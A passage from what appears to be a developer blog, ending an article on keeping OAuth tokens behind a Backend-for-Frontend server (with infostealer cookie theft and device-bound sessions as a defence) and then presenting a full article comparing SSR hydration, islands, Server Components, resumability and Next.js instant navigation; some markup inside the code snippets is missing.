Not in memory, nor in a cookie. The pattern is Backend for Frontend, BFF. You put a thin server between your SPA and everything else, and that server does all the token handling on the frontend's behalf. Your SPA holds exactly one thing: a boring httpOnly session cookie pointing at the BFF. It never sees a token in its life. Let's see how it works. Your dashboard needs the user's orders, so it calls `/api/orders` on the BFF, and the browser automatically attaches the session cookie, as it does with everything. That cookie is not a token. It's a coat-check ticket, a random string that means nothing to anyone who steals it. The BFF catches that request and does the one job it exists for. It reads the session ID off the cookie, looks it up in its own store, and finds the real access token sitting there, the token that never left the server. It attaches that token as a bearer header, forwards the request to the actual API, waits for the orders to come back, and pipes them down to your browser. Your frontend got its orders. From the browser's side, it asked a friendly server for data and got data, and every credential that made that happen stayed on the far side of a wall JavaScript can't reach. The whole proxy is about fifteen lines: ```ts // The BFF. The browser only ever talks to this, never to the real API. app.all('/api/*splat', async (req, res) => { // 1. The browser sent a session cookie, not a token. const sessionId = req.cookies['__Host-session']; const session = sessionId ? await sessions.get(sessionId) : null; if (!session) return res.status(401).json({ error: 'not logged in' }); // 2. Swap the cookie for the real access token, which never left this server. let accessToken = session.accessToken; // 3. If it has expired, refresh the server-to-server connection before forwarding. If the refresh // itself fails (token expired or revoked at the provider), the session is // over: kill it and make the browser log in again. if (Date.now() >= session.expiresAt) { try { const refreshed = await refreshWithProvider(session.refreshToken); accessToken = refreshed.accessToken; await sessions.update(sessionId, refreshed); // rotate + store the new pair } catch { await sessions.delete(sessionId); return res.status(401).json({ error: 'session expired' }); } } // 4. Forward the real API request with the bearer token that the browser never sees. // originalUrl keeps the query string; req.path would drop ?page=2. const upstream = await fetch(`https://api.example.com${req.originalUrl.replace('/api', '')}`, { method: req.method, headers: { Authorization: `Bearer ${accessToken}`, 'Content-Type': req.get('Content-Type') ?? 'application/json', }, body: ['GET', 'HEAD'].includes(req.method) ? undefined : JSON.stringify(req.body), }); // Pass the status through. A 204 or other empty body has nothing to parse, // so guard the json() call or it throws. res.status(upstream.status); const text = await upstream.text(); return text ? res.type('json').send(text) : res.end(); }); ``` The token lives in `session.accessToken`, which is a server-side value in your session store. It is never in the response to the browser, never in a cookie the browser can read, never in a variable any client script can reach. After the OAuth provider redirects back with a code, the BFF (a confidential client, so it holds a real secret) exchanges that code for tokens and stores them against a fresh session, handing the browser nothing but a cookie: ```ts // The OAuth callback. Runs once, at login. app.get('/auth/callback', async (req, res) => { //Replace the code with tokens. This call carries the client secret, // which is why it has to happen on a server and not in the browser. const tokens = await exchangeCodeForTokens(req.query.code, CLIENT_SECRET); // Store the tokens server-side, keyed by a new random session ID. const sessionId = crypto.randomBytes(32).toString('hex'); await sessions.create(sessionId, { userId: tokens.userId, accessToken: tokens.access_token, refreshToken: tokens.refresh_token, expiresAt: Date.now() + tokens.expires_in * 1000, }); // The browser leaves with a cookie and nothing else. res.cookie('__Host-session', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', path: '/', }); res.redirect('/'); }); ``` When the access token expires, the refresh in step 3 runs server-to-server, with rotation and reuse detection, and your frontend never knows it happened. The OAuth login itself even gets stronger. OAuth splits apps into two categories: those that can safely hold a secret key and those that can't. A browser can't; anything you ship to it, users can read, so an SPA is a "public client" and has to use weaker flows. A server can keep a secret, so the BFF is a "confidential client" and gets the stronger flow. Moving OAuth handling to the BFF upgrades your app from the weak to the strong category. This is the strongly recommended architecture for business applications, sensitive applications, and any application that touches personal data. Remember that if you use a BFF, you still have the CSRF problem from before, and make sure you guard against it with the three guardrails. The cost for this security is *latency* and extra infrastructure costs. You run a server now. Every API call takes two hops. The BFF scales with your traffic. ## The NEW threat Everything above is about a browser being tricked, an attacker's script running in your page, and either stealing a credential or riding a session. And every fix, memory, httpOnly, BFF, is aimed at that. There's a second threat that walks straight past all of it, and in 2026, it's the one actually emptying accounts: infostealer malware. This is a program running on the user's own computer, entirely outside the browser's rules. It doesn't need XSS. It doesn't care about `HttpOnly`. It reads Chrome's cookie database off the disk, decrypts it, and copies your session cookie wholesale. `HttpOnly` only blocks *JavaScript* from reading the cookie. It does nothing to prevent a native process from reading the file. The attacker imports your cookie into their own browser, giving them access to your live session. This is a "pass-the-cookie" attack, and infostealer logs full of live session cookies are a booming market: one 2026 report counted 51.7 million infostealer log packages in 2025, up 72% year over year. Here's the uncomfortable part: a perfectly implemented BFF, httpOnly, SameSite, rotation, the whole stack, does not stop this. The stolen cookie is a valid bearer credential, and your server has no way to tell the attacker's browser from the user's. But there is a solution: **binding the session to the device.** Google shipped Device Bound Session Credentials (DBSC) to general availability in Chrome 146 on Windows in April 2026. At login, the browser generates a private key in a dedicated security chip on the machine (a TPM, the same hardware that backs Windows Hello and disk encryption), and that key cannot be physically copied out of the chip. The session cookie is short-lived, and to refresh it, the browser has to sign a challenge from the server using that sealed key, roughly every few minutes. Now the stolen cookie rots almost immediately. Within minutes, it expires, and the attacker can't refresh it, because refreshing demands a signature from a key sealed in hardware they don't have. The cookie they copied becomes a useless string. It's Chrome on Windows first, with macOS via the Secure Enclave rolling out behind it, and other browsers still deciding. It needs server-side support to actually work. And if the malware is already on the machine *at login time*, it may be able to interfere with registration. If you are building anything very, very sensitive, start reading the DBSC docs now. ## The end TLDR: **put the session in an httpOnly, server-backed cookie, and the moment third-party tokens enter the picture, move those tokens behind a BFF so the browser never holds them.** You're welcome. ## References - [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - IETF draft ranking BFF, token-mediating backend, and browser-only patterns in decreasing order of security - [RFC 9700: Best Current Practice for OAuth 2.0 Security](https://www.rfc-editor.org/rfc/rfc9700) - the January 2025 security BCP, including refresh-token rotation and PKCE requirements - [RFC 6749: The OAuth 2.0 Authorization Framework](https://www.rfc-editor.org/rfc/rfc6749) - the original spec, and where the public vs confidential client split is defined - [The Backend for Frontend Pattern](https://auth0.com/blog/the-backend-for-frontend-pattern-bff/) - Auth0, on the BFF as a confidential client and the cookie caveats - [BFF Security Framework](https://docs.duendesoftware.com/bff/) - Duende, on why in-browser token storage is no longer recommended and the custom-header CSRF trick - [The Token Handler Pattern](https://curity.io/resources/learn/the-token-handler-pattern/) - Curity, on first-party cookies and same-site BFF hosting - [Refresh Token Rotation](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation) - Auth0 docs on rotation and automatic reuse detection - [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP)](https://www.rfc-editor.org/rfc/rfc9449.html) - sender-constrained tokens bound to a non-extractable browser key, for the no-server case - [Device Bound Session Credentials](https://developer.chrome.com/docs/web-platform/device-bound-session-credentials) - Chrome's DBSC integration guide, the defense against pass-the-cookie - [Please Don't Use JSON Web Tokens for Browser Sessions](https://ianlondon.github.io/posts/dont-use-jwts-for-sessions/) - Ian London, on revocation and the stateless myth - [Stop using JWTs](https://gist.github.com/samsch/0d1f3d3b4745d778f78b230cf6061452) - samsch, the long-running case for sessions over JWTs - [Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - OWASP, on why the token is primary, and SameSite is defense in depth - [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) - OWASP, on session ID handling, cookie prefixes, and fixation - [Testing for Cookie Attributes](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) - OWASP WSTG, on the `__Host-` prefix as the most secure cookie configuration - [MDN: Using HTTP cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) - the HttpOnly, Secure, and SameSite attributes - [MDN: Sec-Fetch-Site](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-Fetch-Site) - the fetch-metadata header servers can check for CSRF defense - [MDN: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) - the nonce-based script allowlist that reduces how often XSS runs at all - [MDN: BroadcastChannel](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) - the same-origin cross-tab messaging API used to coordinate refresh --- ## Different hydration and rendering strategies URL: https://neciudan.dev/hydration-and-rendering-strategies Published: 2026-06-28 Dont worry, this article is not about the controversial Hydration breaks they are having during the World Cup matches. We want to discuss the hydration process in Server-Side Rendered applications, how other frameworks handle it, and similar rendering strategies that we apply to make our apps faster. First, open a server-rendered page on a slow phone. The content paints almost instantly and looks finished. But tapping a button does nothing for 1 or 2 seconds. During that time, the page quietly downloads and runs JavaScript to rebuild everything you're already looking at. That gap between a page that "looks ready" (HTML is shown) and one that "actually works" (interactive via JavaScript) is called hydration. Every recent rendering strategy aims to shrink that gap. ## Static generation Before reducing hydration, let's look at the alternatives. For many websites, the best approach is to render HTML once, ahead of time, rather than on every request. If the page is the same for everyone—a blog post, a docs page, a marketing landing page, you are regenerating identical HTML thousands of times. Static Site Generation (SSG) renders each page once at build time, writes the result to an HTML file, and serves that file from a CDN. The server does nothing per request except hand over a file. ```tsx // Next.js: this runs at BUILD time, not on each request. export async function getStaticProps() { const posts = await loadPostsFromCMS(); return { props: { posts } }; } ``` The obvious limit is freshness. If the HTML was built an hour ago, it's an hour stale. For a blog that's fine; for a product page with live pricing, it isn't. And the build itself becomes the bottleneck at scale: fifty blog posts can be built in seconds, but a hundred thousand product pages can take hours, and every content change means a rebuild. That freshness problem is what Incremental Static Regeneration (ISR) solves. You serve the static page as before, but you tell the framework to regenerate it in the background after a set interval, or on demand when the content actually changes. ```tsx export async function getStaticProps() { const posts = await loadPostsFromCMS(); // Serve the cached page, rebuild it at most once every 60s. return { props: { posts }, revalidate: 60 }; } ``` The first visitor after the interval triggers a quiet rebuild; everyone keeps seeing the last good version until the new one is ready. You get static delivery speed with content that's never more than a minute or two stale. One more variation you'll see is edge rendering. This isn't a different hydration model; it's SSR or ISR physically moved closer to the user, running on CDN edge servers scattered around the world rather than a single origin server. You do this to reduce latency: your dynamic HTML is generated a few milliseconds from the visitor rather than a continent away, with the trade-off that edge runtimes are more constrained in what they can do (limited Node APIs, tighter time and memory budgets). This method is perfect for static content, but what if our content is dynamic? ## Client-side rendering The simplest approach is to avoid rendering initial HTML on the server. The server sends an almost empty HTML shell. This is just the basic structure of an HTML page, with a reserved section for your app, such as a '
' element, and a script tag that points to your JavaScript code. The browser then downloads the bundle, which combines all your app's code into a single file, runs your app, fetches any required data, and builds the entire user interface (UI) in the browser. There's no hydration here because there's nothing to hydrate: the DOM (Document Object Model—the browser's representation of a web page's structure and content) was never server-rendered; it was constructed on the client from nothing. React just builds and attaches in one pass. ```tsx import { createRoot } from 'react-dom/client'; import App from './App'; createRoot(document.getElementById('root')).render(); ``` We call these apps Single Page Applications or SPA for short. The main benefit of these apps is simplicity. You only think about the browser. The downside is speed. Picture a first-time visitor on a mid-range Android phone, using hotel Wi-Fi to tap your link. **They get a blank white screen**. That screen stays while the bundle downloads, then parses, and then executes. Next, it waits as it fetches the page's data. Only after all that does anything work. On your laptop with strong WIFI, you might not notice. On that phone, it's long enough for some visitors to close the tab before your app draws a single pixel. Search engines hit the same wall. The Google bot crawler, requests your page and receives an empty
, which may also have significant SEO implications. That's why you want content in the initial HTML, and for that, we need the server. ## Server-side rendering We render HTML on the server, send it to the browser, and have the browser hydrate it into a React app. The user gets real content instantly, solving both CSR issues. The page isn't blank while JavaScript loads, and the crawler sees content. ```tsx import { renderToString } from 'react-dom/server'; import App from './App'; const html = renderToString(); // send `html` wrapped in your document shell ``` On the client: ```tsx import { hydrateRoot } from 'react-dom/client'; hydrateRoot(document.getElementById('root'), ); ``` This is ideal for content that must rank and be interactive, such as news sites, blogs, marketing pages with signup forms, or product pages that need strong SEO content. The downside: we repeat work. The server renders HTML; the client downloads React, rerenders, and compares the new HTML to the existing HTML. Until this second pass finishes, nothing on the page is interactive. Traditional hydration runs top to bottom through the tree. If a heavy Comments section is near the top and the LikeButton below, hydration does comments first. The like button stays dead until hydration is done. There is also a big problem: hydration mismatches. If server HTML and client HTML differ in any way, React detects it. In the worst case, it discards server HTML and re-renders on the client, recreating the blank-screen problem that SSR tries to solve, rendering all the benefits of SSR useless. Common causes are unassuming code: ```tsx // Renders a different value on the server than in the browser: {new Date().toLocaleTimeString()} // Reads a browser-only API that doesn't exist on the server:
{window.innerWidth > 768 ? 'desktop' : 'mobile'}
``` Both look harmless but produce different server and client outputs, triggering hydration warnings. If the difference is intentional, like a timestamp, React offers an escape: add suppressHydrationWarning, and React won't warn for that node. ## Streaming SSR: send the page in pieces The first improvement keeps hydration but stops making the user wait for the slowest part of the page before anything shows up. Instead of rendering the whole tree to a string and sending it once it's complete, the server streams HTML in chunks as each part becomes ready. The tool for this is `Suspense`, a wrapper you put around a slow section that tells React, "show this fallback until everything inside is ready." ```tsx import { Suspense } from 'react'; function ProductPage() { return (
}>
); } ``` The `ProductDetails` component renders immediately. The `Reviews` component, which might be waiting on a slow query, shows a skeleton, and the real reviews stream in when the data is ready. The user reads the product while the reviews are still loading. React no longer has to hydrate top-to-bottom. Each `Suspense` boundary becomes an independent unit that can hydrate on its own, and React prioritizes based on the user's current activity. Click a button in a section that hasn't hydrated yet, and React rushes hydration of that boundary so the handler can run, ahead of the boundaries you're not touching. The main benefit of this method is that perceived load time no longer ties to your slowest component. Go back to that product page. Without streaming, a three-second recommendations query means three seconds before anyone sees the product. But it's not perfect: Streaming changes the order and timing of the work, not the amount. Every interactive component on that page still gets downloaded and re-executed on the client; you've made the page feel faster without shipping a single byte less JavaScript. It also hands you a new way to make things worse if you wrap too much of the page in one `Suspense`, and a single slow child holds that whole region back: ```tsx // One boundary around everything: the fast summary now waits // on the slow chart, because they share a fallback. }> {/* fast */} {/* slow */} // Separate boundaries: the summary streams in immediately, //The chart arrives on its own schedule. }> ``` There's also another method you'll see in several frameworks: progressive hydration. Rather than hydrate every boundary as soon as its code arrives, you defer a component until there's a reason to wake it up, when it scrolls into view, or when the user first interacts with it. A footer newsletter form three screens down doesn't need to hydrate during initial load; it can wait until you scroll near it. This still hydrates everything eventually, like streaming, but it spreads the work across time and skips parts the user never reaches. ## Islands: hydrate only the interactive parts Most of a typical web page isn't interactive at all. A blog post is text, headings, and images, with maybe a comment widget and a newsletter form. A docs page is almost entirely static with a search box. Why ship and hydrate a JavaScript runtime for the 95% that's just sitting there as content? Islands do this in reverse to SSR: The page is static HTML, and you explicitly mark the parts that need to come alive. Each interactive region is an "island" in a sea of static markup, and each hydrates independently, loading only its own JavaScript. Astro is the framework that popularized this, and it makes the model concrete with directives. By default, a component renders to static HTML and ships zero JavaScript. You opt into interactivity per-component: ```astro --- import Header from '../components/Header.astro'; import Newsletter from '../components/Newsletter.tsx'; import Comments from '../components/Comments.tsx'; ---

My post

This is just text. It ships as HTML, no JavaScript.

``` That `client:visible` is a loading contract, and it's the progressive hydration idea from earlier. It tells Astro to render the component to static HTML first, then hydrate it only when it scrolls into view. The directives cover the common cases: `client:load` hydrates immediately for above-the-fold interactivity, `client:idle` waits until the browser is idle, `client:visible` waits until the component enters the viewport, and `client:only` skips server rendering entirely for components that depend on browser-only APIs. Islands take progressive hydration and add the crucial second half: the parts you never mark stay static forever and ship no JavaScript at all. If the user never scrolls to the comments, the comment widget's JavaScript never loads. This fits content-heavy sites almost perfectly. Blogs, documentation, marketing pages, news, and e-commerce category pages. Anywhere the page is mostly content with islands of interactivity rather than the other way around. The framework built around this, Astro, ranked highest in the meta-framework satisfaction category of the State of JS 2025 survey, and Cloudflare acquired it in January 2026. (And if you haven't read my previous articles, this blog is also using Astro, [checkout my previous article where I upgraded to Astro 6](https://neciudan.dev/astro-upgrade-from-3-to-6) and took advantage of all the cool benefits) The practical result is that you land a Lighthouse score in the 90s without doing anything clever, because there's barely any main-thread work for the browser to do. And since each island is self-contained, you're not even locked to one framework; you can drop a React island next to a Svelte one on the same page. There's a server-side version of the same idea. Astro's `server:defer` turns a component into a server island: the static shell ships immediately and is aggressively cached, while a personalized piece, such as a signed-in user's avatar or cart, renders per-request on the server and slots in without holding up the rest of the page. You get to cache the 95%, that's the same for everyone, and still serve the 5% that isn't. But islands assume a mostly static page with sprinkles of interactivity, and they're wonderful until that assumption breaks. Imagine trying to build Figma, or a trading terminal, or any app where nearly everything on screen is interactive, and pieces share state across the whole layout. You'd be marking the entire page as one giant island, threading shared state between islands that were designed to be isolated, and fighting the architecture the whole way. At that point, you've reinvented SSR with extra steps. So islands win when interactivity is the exception. For an app where interactivity is the rule, you need a different weapon. ## React Server Components: don't send the component to the client A Server Component runs only on the server, which means its code is never sent to the browser. It can hit the database directly, read the filesystem, use secrets, and what it ships to the client isn't JavaScript; it's a serialized description of the UI it produced, in a format React calls Flight. There are now two streams in play: the HTML stream from the streaming section, which is the markup the browser paints, and this Flight stream, which is a serialized component tree the client reconstructs. RSC uses both. There's nothing to hydrate for the server parts because there's no component code on the client to re-execute. Components are server-only and weightless on the client. Components marked `"use client"` ship JavaScript and hydrate. ```tsx // Server Component, runs on the server, ships no JS async function ProductPage({ id }) { const product = await db.product.findUnique({ where: { id } }); return (

{product.name}

{product.description}

); } ``` ```tsx 'use client'; // Client Component, this is the part that ships JS and hydrates function AddToCartButton({ productId }) { const [adding, setAdding] = useState(false); // ... } ``` The product name and description are server-rendered and never become JavaScript on the client. Only `AddToCartButton` is visible in the browser. This is the model Next.js is built around now, and it supports full applications that also include a lot of server-generated, non-interactive content. The main benefit is that you stop shipping code that the browser will never use. In that example, your database call and the markup it produces stay on the server; the only JavaScript that reaches the user is `AddToCartButton`. You also get to query the database right inside the component, no `/api/products/:id` route to build, no `fetch` to wire up, no loading state to manage by hand. Layer streaming and selective hydration on top, which RSC does for free, and you get a fast first paint, a small bundle, and direct data access in one model. React 19.2 sharpened the tools in this area. Partial Pre-Rendering lets you render a static shell at build time, cache it at the CDN edge, and stream the dynamic holes per-request, so a single page can be mostly statically cached with a personalized slot or two. Suspense reveals are batched to match client behavior, and hydration mismatch errors finally name the component that caused them instead of leaving you a cryptic warning. Although the line between server and client isn't free, and one `"use client"` in the wrong place quietly drags a whole subtree into the browser bundle. Like this: ```tsx 'use client'; import { HeavyChart } from './HeavyChart'; // also becomes client code ``` You added `"use client"` for a single button, and because a client file pulls its imports into the client graph with it, a heavy chart you meant to keep on the server is now in your bundle. "use client creep" is a real failure mode in production codebases. On top of that, RSC ties you to a framework and a server runtime that uses them; it isn't something you sprinkle onto a plain SPA you already have. Also, moving rendering to the server increases your attack surface there, too. Server Components execute on the server, serialize a payload, and the client deserializes it; each of those steps now runs in a privileged place with access to your database and secrets. And in late 2025, a serious RSC deserialization vulnerability (CVE-2025-55182) was found being actively exploited and had to be patched across several React and Next.js versions. Doing this on the server could have a lot of security holes you need to keep an eye on. ## TanStack Start: the same primitive, ownership flipped The Next.js model is server-first. TanStack Start inverts that. The client stays in charge, and RSCs are demoted from a paradigm to a data type. The idea is that an RSC payload is just a stream. Specifically, a React Flight stream is the serialized description of UI that the server produced. TanStack Start treats it as exactly that: bytes you fetch over HTTP, on the client's terms, whenever you want them, rather than a server-owned tree the framework hands you by default. You create the server-rendered UI in a server function and load it via a route loader. Nothing gets marked `"use client"` to opt *out* of the server; you opt *in* to the server only where you want it. ```tsx import { createServerFn } from '@tanstack/react-start'; import { renderServerComponent } from '@tanstack/react-start/rsc'; function Greeting() { return

Hello from the server

; } const getGreeting = createServerFn().handler(async () => { return { Greeting: await renderServerComponent() }; }); ``` Because the payload is just data, it drops into the caching tools you already use. There's no special "RSC mode." Wrap the server function in a TanStack Query call, and the RSC payload gets cache keys, `staleTime`, and background refetching like any other query. For static content, set `staleTime: Infinity` and you're done. ```tsx function Greeting() { const query = useQuery({ queryKey: ['greeting'], queryFn: async () => createFromReadableStream(await getGreeting()), }); return <>{query.data}; } ``` It's a different answer to the exact same question RSC asks: how do you avoid shipping component code that didn't need the browser? Next.js answers at the framework level, server-first, all-in. TanStack Start answers at the data level, is client-first, and is opt-in. This fits a situation the server-first model handles badly: an existing client-side app, an admin portal or a SaaS dashboard, that wants to move *some* heavy rendering to the server without rewriting its architecture around a new paradigm. Markdown parsing, syntax highlighting, a search index, anything heavy and static you'd rather not ship. You sprinkle in RSCs where they pay off and leave the rest of the SPA alone. When TanStack migrated the content-heavy parts of their own docs site to this, blog, and docs pages, each dropped around 153 KB gzipped from the client JS graph, and Total Blocking Time fell from about 1,200ms to 260ms. You don't have to rewrite your app to try RSCs, but you have to do a lot of the wiring up yourself. The server-first model's all-in nature is also what makes streaming, boundaries, and colocated server work feel built in; when you opt into each piece by hand, you own the composition that Next.js provides out of the box. And TanStack Start is younger, with its RSC support still stabilizing toward 1.0, so for a large production app, you're taking on a less settled bet than Next.js in exchange for that flexibility. RSC shrinks the hydration surface to the interactive leaves, no matter how you slice ownership. But those leaves still hydrate. They still download, re-execute, and rebuild their slice of the tree on the client. The remaining question is whether even that is necessary, and there are two different answers. ## Fine-grained reactivity: hydrate once, then never re-render React is coarse-grained. When the state changes, the component that owns it reruns, and React walks down from there, diffing the virtual DOM to figure out what actually changed in the real one. Hydration is expensive partly because it's this same re-render machinery running for the first time across the whole tree. SolidJS and Svelte do things differently. There's no virtual DOM and no re-rendering. A component runs once to set up a reactive graph, wiring each piece of state directly to the specific DOM node it controls. When a state changes, the framework updates that one text node or attribute. ```tsx import { createSignal } from 'solid-js'; function Counter() { const [count, setCount] = createSignal(0); // This function body runs ONCE. The signal is wired. // straight to the text node below. return ; } ``` That `Counter` function executes only once, during setup. Clicking the button updates the count signal, which updates exactly one text node. The component never runs again. Because there's no re-render machinery, hydration is dramatically cheaper. Solid still incurs a setup cost to wire the reactive graph to the server-rendered DOM, but it's not re-executing and diffing the whole component tree, so the work is a fraction of what React does during hydration. Svelte 5 sits in the same territory: its runes system (`$state`, `$derived`) moved Svelte to a signal-based, fine-grained reactivity model, close to Solid's, and State of JS 2025 credited exactly that change as the year's standout in developer experience. The newest face in this family is Ripple, an experiment from Dominic Gannaway (who worked on React Hooks at Meta and was on Svelte 5's core team). It's a TypeScript-first compiled language with the same no-virtual-DOM, surgical-update model, reactivity built on a `track()` primitive. These frameworks fit performance-critical interactive UIs where things update constantly. Real-time dashboards with hundreds of live data points, trading interfaces, data grids, and animation-heavy apps targeting a steady 60fps. Anywhere React's re-render-and-diff cost compounds across every update on a busy screen. Of course, React's download numbers dwarf all of these new frameworks, and that gap is libraries, AI advice and help, and the odds that your next hire already knows the framework. The meta-frameworks are less settled, too: SvelteKit is solidly production-ready, while SolidStart hit 1.0 but is still filling in deployment adapters and documented patterns, so you'll more often be the first person to hit a given edge case. And the mental model differs from React: ```tsx // React: this function re-runs on every render, so it's expensive` // is recomputed each time. function Row({ value }) { const expensive = computeStuff(value); return {expensive}; } // Solid: this function runs ONCE. If you write it the React way, // `expensive` is computed a single time and then never updates // when `value` changes. You have to reach for a derived signal instead. ``` The code looks like React. It does not behave like React. Fine-grained reactivity makes hydration cheap. But it still hydrates; there's still a setup pass that runs on the client to connect the graph to the DOM before anything is interactive. The last strategy asks whether you can skip even that. ## Resumability: don't hydrate at all The final move is the strange one, and it needed a new word because it isn't a faster hydration. It's the absence of hydration. Every strategy so far, even the leanest island, shares one assumption: the client has to execute *some* JavaScript to make the server-rendered HTML interactive. Re-run the components, or at least run a setup pass to wire up the reactive graph. Qwik's argument is that throwing the work away is the actual mistake. Instead of serializing only the HTML and reconstructing everything else on the client, serialize the entire framework's execution state, component boundaries, event listener locations, and the reactivity graph directly into the HTML. The client doesn't rebuild anything. It picks up exactly where the server paused. The mechanism is visible in the markup. Event handlers aren't attached during a startup pass; their locations are serialized as attributes pointing at lazy-loadable chunks: ```html ``` The only thing that runs on boot is a tiny script called the Qwikloader, a fraction of a kilobyte, which registers one global event listener and does nothing else until you interact. When the user clicks that button, and only then, the Qwikloader resolves the attribute, downloads the specific handler chunk, rehydrates just the state that handler needs, and runs it. The code for a given interaction loads when the interaction occurs, not before. But serializing execution state into the HTML imposes limits on what can be serialized, and those limits constrain how you can write components; you can't just stuff anything into a closure and expect it to resume. Loading code per interaction also means more small requests rather than one big upfront bundle, which speculative prefetching and HTTP/2 are designed to hide, but it's a different performance profile you'll need to reason about and tune rather than ignore. And Qwik is the one framework built entirely around this idea, making it the newest and least battle-tested option in this article, with the smallest ecosystem to lean on. There's also a case where the payoff simply isn't there. If you're building a video editor or a live dashboard, the user interacts with almost everything almost immediately, so you end up loading most of the code in the first few seconds anyway. Resumability's advantage is deferring code the user might never reach; when they reach all of it, you've taken on the complexity and gotten little of the benefit. ## Next.js 16.3: closing the last gap with instant navigations Everything so far has been about the first load: how fast the page paints, how much it costs to make it interactive. But there's a second moment that decides whether an app feels like an app, and it's the one server-driven models have always been worst at: what happens when you click a link to the next page. In a classic server-driven app, that click means a network round-trip. You click, nothing happens, the server responds, and the next page appears. For a blog that's acceptable. For anything that feels like software, that pause is exactly what makes people say server apps feel "like a website" rather than an app. A client-driven SPA hides the pause: you click, you instantly see a shell of the next page with data still loading, then the rest fills in. That instant shell is most of why people reach for SPAs even when the server model would serve them better everywhere else. Next.js 16.3 aims to give the server model the same instant-shell feel, and the way it gets there ties together two things already in this article: Partial Pre-Rendering and the Flight payload that RSC streams to the client. The whole feature is currently gated behind one flag: ```ts // next.config.ts const nextConfig = { cacheComponents: true, }; ``` Turning on Cache Components changes the rendering model. Every route is dynamic by default, with no implicit caching, and PPR becomes the default rather than an experimental per-route opt-in. From there, whenever a route `awaits ' data on the server, you're making one of three choices about that piece of the page. You can stream it by wrapping the slow part in ``, and the user instantly sees the static shell with a loading state where that part will go. You can cache it by marking the work with `use cache`, and the user instantly sees a previously cached version of that UI, reused across requests. ```tsx async function ProductList() { 'use cache'; cacheLife('hours'); const products = await getProducts(); return ; } ``` Either of those makes the navigation feel instant, because nothing the user is waiting on blocks the shell. The third choice is to block on purpose. Some routes shouldn't show a loading shell, a blog post that should arrive whole rather than skeleton-first, and you opt that route out explicitly: ```tsx // page.tsx export const instant = false; ``` Next.js 16.3 also brings a new trick: rather than prefetching a page per link, it prefetches one reusable shell per route and caches it on the client for the session. Twenty links to `/chat/[id]` now prefetch a single `/chat/[id]` shell, the same way a SPA ships one piece of per-route code and reuses it for every item. You can enable it alongside Cache Components: ```ts // next.config.ts const nextConfig = { cacheComponents: true, partialPrefetching: true, }; ``` That shell is the static, cacheable part of the route, the part PPR already knows how to pre-render. So the two flags are really one idea seen from two ends: PPR decides what part of a route is a static shell, and Partial Prefetching ships exactly that shell to the client ahead of the click. Because the shell serves as the baseline, prefetching is no longer an all-or-nothing proposition. If you want a particular link to arrive with more than the bare shell, a chat header that should pop in immediately, you opt that link into deeper prefetching, and Next.js renders down to whatever is synchronous or marked `'use cache'`: ```tsx {title} ``` This fits exactly the kind of app the server model used to feel wrong for: dashboards, chat apps, anything with a dense sidebar of links where every click used to mean a visible pause. Vercel has been running it on v0, where rich client features made navigation feel sluggish, and used the new dev-time insights to hunt down the routes that weren't navigating instantly. You get the SPA's instant-click feel without giving up the server-centric model, the small client bundle, the direct data access, the crawlable first load, all the things the RSC section was about. The problem is that "instant" stops being free and becomes something you maintain. Every dynamic piece of every route is now a Stream/Cache/Block decision you have to make and keep correct as the app changes; a refactor that moves a `cookies()` read out of its `` boundary quietly turns an instant route into a blocking one. Next.js leans on tooling to hold the line here, the dev-time error, a Navigation Inspector that pauses navigations at the shell so you can see what's prefetched, and an `instant()` Playwright helper that asserts what must be visible before the network responds: ```ts import { instant } from '@next/playwright'; test('next page shell is instant', async ({ page }) => { await page.goto('/products/shoes'); await instant(page, async () => { await page.click('a[href="/products/hats"]'); await expect(page.locator('h1')).toContainText('Baseball Cap'); }); }); ``` It's also preview-only and flag-gated as of mid-2026, with both `cacheComponents` and `partialPrefetching` planned to become defaults in a future major version. ## How to actually choose The only thing that matters is how much client-side work happens between "HTML painted" and "page interactive." For most people most of the time, the honest answer is boring. If you're building a content site, reach for static generation and islands; Astro will give you near-perfect performance with almost no effort. If you're building an app, React with Server Components on a framework like Next.js will carry you a very long way, and the streaming and selective-hydration machinery comes along for free. The rest are tools you reach for when a specific problem actually calls for them. Fine-grained reactivity when updating performance on a busy screen is the cause of the issue. Resumability when you're large enough that hydration costs have become the bottleneck, and the first interaction must be instant. CSR when the page is behind a login, and nobody's first paint matters. Nobody's site ever got slow because they server-rendered some HTML and hydrated it. It's always the other direction: a content blog shipping a full app runtime, an app fighting hydration cost it never measured, a marketing page blank for two seconds while a bundle loads. Match the strategy to how much of your page is actually interactive, and reach for something more exotic only when you can name the problem it solves. ## References - [Resumable vs. Hydration](https://qwik.dev/docs/concepts/resumable/) - Qwik docs, on serializing execution state instead of replaying it - [Islands Architecture](https://docs.astro.build/en/concepts/islands/) - Astro docs, on client and server islands - [Client Directives](https://docs.astro.build/en/reference/directives-reference/) - Astro docs, on the `client:*` loading contracts - [Resumability vs Hydration](https://www.builder.io/blog/resumability-vs-hydration) - Builder.io, comparing React, Solid, and Qwik on the spectrum - [New Suspense SSR Architecture in React 18](https://github.com/reactwg/react-18/discussions/37) - React working group, on streaming and selective hydration - [How Wix Solved React's Hydration Problem](https://www.wix.engineering/post/40-faster-interaction-how-wix-solved-react-s-hydration-problem-with-selective-hydration-and-suspen) - Wix Engineering, a production selective-hydration case - [Server Components](https://react.dev/reference/rsc/server-components) - React docs - [React Server Components Your Way](https://tanstack.com/blog/react-server-components) - TanStack blog, on the client-first, RSCs-as-streams model - [How to choose the best rendering strategy](https://vercel.com/blog/how-to-choose-the-best-rendering-strategy-for-your-app) - Vercel, on SSG, ISR, SSR, CSR, and per-route mixing - [Ripple](https://github.com/Ripple-TS/ripple) - the newest fine-grained, compiler-driven TypeScript framework - [State of JavaScript 2025: 